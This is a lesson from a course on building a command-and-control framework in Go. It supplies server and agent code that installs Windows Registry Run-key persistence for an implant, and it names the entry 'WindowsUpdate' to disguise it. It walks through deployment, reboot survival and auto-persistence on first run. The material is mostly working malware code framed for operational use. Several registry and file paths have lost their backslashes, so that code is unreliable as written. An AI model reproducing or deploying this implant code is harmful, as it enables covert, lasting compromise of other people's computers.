Back to Course

Lesson 23: Persistence

Solutions

Overview

This is our final lesson - and the ultimate “wow” moment. We’ll implement persistence, making our agent automatically start when Windows boots up.

After completing this lesson, you can:

  1. Deploy your agent to a Windows machine
  2. Queue the persistence command
  3. Reboot the machine
  4. Watch your agent automatically reconnect

This is what takes a proof-of-concept to a real operational capability.

We’ll implement persistence via the Registry Run Key (HKCU\Software\Microsoft\Windows\CurrentVersion\Run).

What We’ll Create

  • PersistArgsClient and PersistArgsAgent types
  • validatePersistCommand and processPersistCommand functions
  • orchestratePersist on the agent
  • doPersist with Windows-specific implementation

Understanding Persistence Mechanisms

Before we code, let’s understand Windows persistence options:

1. Registry Run Keys (What we’ll implement)

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • Runs at user login (no admin required)
  • Survives reboots

2. Startup Folder

  • %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
  • Runs at user login
  • Easy to spot (visible in Explorer)

3. Scheduled Tasks (More complex)

  • Can run at boot, login, or schedule
  • Requires schtasks.exe or COM objects

4. Services (Requires admin)

  • Runs before user login
  • More stealthy but complex

We’ll focus on Registry Run Keys as they’re the most common and effective for user-level persistence.

Part 1: Server-Side Implementation

Create Argument Types

Add to control/models.go:

// PersistArgsClient - what the client sends
type PersistArgsClient struct {
	Name     string `json:"name"`      // Name for the persistence entry
	Remove   bool   `json:"remove"`    // true to remove persistence, false to install
}

// PersistArgsAgent - what we send to the agent
type PersistArgsAgent struct {
	Name     string `json:"name"`
	Remove   bool   `json:"remove"`
	AgentPath string `json:"agent_path"` // Path where agent executable is located
}

Understanding the fields:

  • Name - Display name in the registry entry
  • Remove - Allows removing persistence (cleanup)
  • AgentPath - The agent needs to know its own location

Register the Command

Add to validCommands in control/command_api.go:

var validCommands = map[string]struct {
	Validator CommandValidator
	Processor CommandProcessor
}{
	"shellcode": {
		Validator: validateShellcodeCommand,
		Processor: processShellcodeCommand,
	},
	"download": {
		Validator: validateDownloadCommand,
	},
	"persist": {  // NEW
		Validator: validatePersistCommand,
		Processor: processPersistCommand,
	},
}

Create Validator

Create internal/control/persist.go:

// validatePersistCommand validates "persist" command arguments
func validatePersistCommand(rawArgs json.RawMessage) error {
	if len(rawArgs) == 0 {
		return fmt.Errorf("persist command requires arguments")
	}

	var args PersistArgsClient

	if err := json.Unmarshal(rawArgs, &args); err != nil {
		return fmt.Errorf("invalid argument format: %w", err)
	}

	// Name is required
	if args.Name == "" {
		return fmt.Errorf("name is required")
	}

	log.Printf("Persist validation passed: name=%s, remove=%v",
		args.Name, args.Remove)
	return nil
}

Create Processor

Add the processor function in the same file:

// processPersistCommand processes persistence arguments
func processPersistCommand(rawArgs json.RawMessage) (json.RawMessage, error) {
	var clientArgs PersistArgsClient

	if err := json.Unmarshal(rawArgs, &clientArgs); err != nil {
		return nil, fmt.Errorf("unmarshaling args: %w", err)
	}

	// Pass through to agent - it knows its own executable path
	agentArgs := models.PersistArgsAgent{
		Name:      clientArgs.Name,
		Remove:    clientArgs.Remove,
		AgentPath: "", // Agent will fill this in
	}

	processedJSON, err := json.Marshal(agentArgs)
	if err != nil {
		return nil, fmt.Errorf("marshaling processed args: %w", err)
	}

	action := "install"
	if clientArgs.Remove {
		action = "remove"
	}
	log.Printf("Persist processed: %s persistence (name: %s)",
		action, clientArgs.Name)
	return processedJSON, nil
}

Part 2: Agent-Side Implementation

Create Result Type

Add to models/results.go:

// PersistResult - what the agent sends back
type PersistResult struct {
	Success  bool   `json:"success"`
	Message  string `json:"message"`
}

Create the Orchestrator

Create agent/persist.go:

// orchestratePersist is the orchestrator for the "persist" command
func (agent *HTTPSAgent) orchestratePersist(job *server.HTTPSResponse) AgentTaskResult {

	// Unmarshal arguments
	var persistArgs control.PersistArgsAgent
	if err := json.Unmarshal(job.Arguments, &persistArgs); err != nil {
		errMsg := fmt.Sprintf("Failed to unmarshal PersistArgs for Task ID %s: %v", job.JobID, err)
		log.Printf("|ERR PERSIST ORCHESTRATOR| %s", errMsg)
		return AgentTaskResult{
			JobID:   job.JobID,
			Success: false,
			Error:   errors.New("failed to unmarshal PersistArgs"),
		}
	}

	action := "Installing"
	if persistArgs.Remove {
		action = "Removing"
	}
	log.Printf("|PERSIST ORCHESTRATOR| Task ID: %s. %s persistence",
		job.JobID, action)

	// Get our own executable path
	execPath, err := os.Executable()
	if err != nil {
		log.Printf("|ERR PERSIST ORCHESTRATOR| Failed to get executable path: %v", err)
		return AgentTaskResult{
			JobID:   job.JobID,
			Success: false,
			Error:   errors.New("failed to get executable path"),
		}
	}
	persistArgs.AgentPath = execPath

	// Call the OS-specific doer
	result := doPersist(persistArgs)

	// Build the final result
	finalResult := AgentTaskResult{
		JobID: job.JobID,
	}

	outputJSON, _ := json.Marshal(result)
	finalResult.CommandResult = outputJSON

	if !result.Success {
		log.Printf("|ERR PERSIST ORCHESTRATOR| Persistence failed for TaskID %s: %s",
			job.JobID, result.Message)
		finalResult.Error = errors.New(result.Message)
		finalResult.Success = false
	} else {
		log.Printf("|PERSIST SUCCESS| %s for TaskID %s", result.Message, job.JobID)
		finalResult.Success = true
	}

	return finalResult
}

Getting the executable path:

execPath, err := os.Executable()

This is how the agent discovers its own location - critical for telling Windows what to run at startup.

Create Windows Doer

Create agent/persist_windows.go:

//go:build windows

const (
	runKeyPath = `SoftwareMicrosoftWindowsCurrentVersionRun`
)

// doPersist handles Registry Run Key persistence on Windows
func doPersist(args models.PersistArgsAgent) models.PersistResult {
	result := models.PersistResult{}

	// Open the Run key
	key, err := registry.OpenKey(registry.CURRENT_USER, runKeyPath, registry.SET_VALUE|registry.QUERY_VALUE)
	if err != nil {
		result.Success = false
		result.Message = fmt.Sprintf("failed to open registry key: %v", err)
		return result
	}
	defer key.Close()

	if args.Remove {
		// Remove the registry value
		err = key.DeleteValue(args.Name)
		if err != nil {
			result.Success = false
			result.Message = fmt.Sprintf("failed to delete registry value: %v", err)
			return result
		}
		result.Success = true
		result.Message = fmt.Sprintf("Removed registry persistence '%s'", args.Name)
	} else {
		// Set the registry value to our executable path
		err = key.SetStringValue(args.Name, args.AgentPath)
		if err != nil {
			result.Success = false
			result.Message = fmt.Sprintf("failed to set registry value: %v", err)
			return result
		}
		result.Success = true
		result.Message = fmt.Sprintf("Installed registry persistence '%s' -> %s", args.Name, args.AgentPath)
	}

	return result
}

Breaking Down the Registry Persistence

Open the Run key:

key, err := registry.OpenKey(registry.CURRENT_USER, runKeyPath, registry.SET_VALUE|registry.QUERY_VALUE)

We open HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run with permissions to read and write values.

Set the value:

err = key.SetStringValue(args.Name, args.AgentPath)

This adds an entry like:

  • Name: “WindowsUpdate” (or whatever the operator specified)
  • Value: “C:\Users\victim\agent.exe”

Now when the user logs in, Windows will automatically run our agent!

Register the Orchestrator

Update registerCommands() in agent/commands.go:

func registerCommands(agent *HTTPSAgent) {
	agent.commandOrchestrators["shellcode"] = (*HTTPSAgent).orchestrateShellcode
	agent.commandOrchestrators["download"] = (*HTTPSAgent).orchestrateDownload
	agent.commandOrchestrators["persist"] = (*HTTPSAgent).orchestratePersist  // NEW
}

Why No Interface This Time?

You might notice that unlike shellcode (which required an interface in internals/shellcode/), persist doesn’t use an interface. Here’s why:

Shellcode: The doers live in a separate package (internals/shellcode/). When code in the agent package needs to call into a different package, an interface provides the contract.

Persist: All files are in the same agent package - persist.go and persist_windows.go. Go’s build tags work at compile time: when you build for Windows, persist_windows.go is included. Since everything is in the same package and the doer is called directly, no interface is needed.

Rule of thumb: Same package + build tags = no interface. Different packages = interface needed.

Test

This is the moment of truth! You’ll need a Windows machine (or VM) for this test.

Step 1: Cross-compile the agent for Windows

GOOS=windows GOARCH=amd64 go build -o agent.exe ./cmd/agent

Step 2: Transfer agent.exe to Windows machine

Copy it to somewhere like C:\Users\YourUser\agent.exe

Step 3: Start the server (on your Linux/Mac host)

go run ./cmd/server

Step 4: Run the agent on Windows

.agent.exe

Step 5: Queue the persistence command

curl -X POST http://localhost:8080/command -d '{"command": "persist", "data": {"name": "WindowsUpdate", "remove": false}}'

Expected server output:

2025/11/08 15:30:22 Received command: persist
2025/11/08 15:30:22 Persist validation passed: name=WindowsUpdate, remove=false
2025/11/08 15:30:22 Persist processed: install persistence (name: WindowsUpdate)
2025/11/08 15:30:22 QUEUED: persist
2025/11/08 15:30:25 DEQUEUED: Command 'persist'
2025/11/08 15:30:25 Job (ID: job_789123) has succeeded
Message: Installed registry persistence 'WindowsUpdate' -> C:UsersYourUseragent.exe

Step 6: Verify in Windows Registry

Open regedit.exe and navigate to: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

You should see a new entry named “WindowsUpdate” pointing to your agent!

Registry Editor showing WindowsUpdate persistence entry

Step 7: The magic moment - REBOOT

Restart the Windows machine. After login, the agent should automatically start and connect back to your server!

# On your server, you should see:
2025/11/08 15:32:45 Endpoint / has been hit by agent
2025/11/08 15:32:45 No commands in queue

Your agent survived a reboot.

Step 8: Remove persistence (cleanup)

curl -X POST http://localhost:8080/command -d '{"command": "persist", "data": {"name": "WindowsUpdate", "remove": true}}'

Taking It Further: Automated Persistence

In this lesson, we implemented persistence as a command - the operator explicitly tells the agent to persist. This is useful for learning and gives you manual control.

In practice, you’d often want automatic persistence - the agent installs itself on first run without waiting for a command. Here’s how you’d architect that:

1. Create an auto-persist function in the agent:

// autoPersist attempts to install persistence automatically on startup
func autoPersist() error {
    result := doPersist(control.PersistArgsAgent{
        Name:      "WindowsUpdate",
        AgentPath: getExecutablePath(),
    })
    if result.Success {
        return nil
    }

    return errors.New("persistence failed: " + result.Message)
}

2. Call it from main before starting the run loop:

func main() {
    // Attempt auto-persistence on first run
    if err := autoPersist(); err != nil {
        log.Printf("Warning: auto-persist failed: %v", err)
        // Optionally notify server of failure
    }

    // Continue with normal agent operation
    agent := NewHTTPSAgent(...)
    RunLoop(ctx, agent, cfg)
}

This gives you the best of both worlds: automatic persistence on startup, while still keeping the manual command for testing and cleanup.

Conclusion

In this final lesson, we implemented persistence:

  • Created argument types for the persist command
  • Implemented server-side validation and processing
  • Created Windows-specific Registry Run Key persistence
  • Tested the complete flow including reboot survival
  • Cleaned up with the remove option

You now have a fully functional C2 framework that can:

  • Communicate over multiple protocols
  • Switch protocols on demand
  • Execute shellcode on Windows
  • Download files from targets
  • Persist through reboots

Thank you for completing this course!